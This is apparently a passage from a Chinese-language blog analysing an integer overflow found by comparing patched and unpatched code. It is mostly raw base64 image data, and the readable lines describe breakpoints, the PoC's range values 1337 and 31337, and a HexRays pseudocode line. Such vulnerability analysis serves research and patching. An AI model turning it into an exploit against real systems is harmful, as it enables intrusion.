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" alt="" />
接着让我们在未打补丁的模块上下断点。
aaarticlea/png;base64,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" alt="" />
非常明显了。 EAX 是0x7A69 (Poc中设置的range上限 31337), EDI 是0x539(Poc中设置的range下限 1337)。 在老代码中,如果我们的下限是0,则上限不会做如此的改变。在上限非常大的时候(整数临界值), 我们加1, 就会发生整数溢出。 HexRays 的输出更加明了:
*(_QWORD *)v18 = __PAIR__(v22, v23) – __PAIR__(v21, v20) + 1.让我们来试试看。
aaarticlea/png;base64,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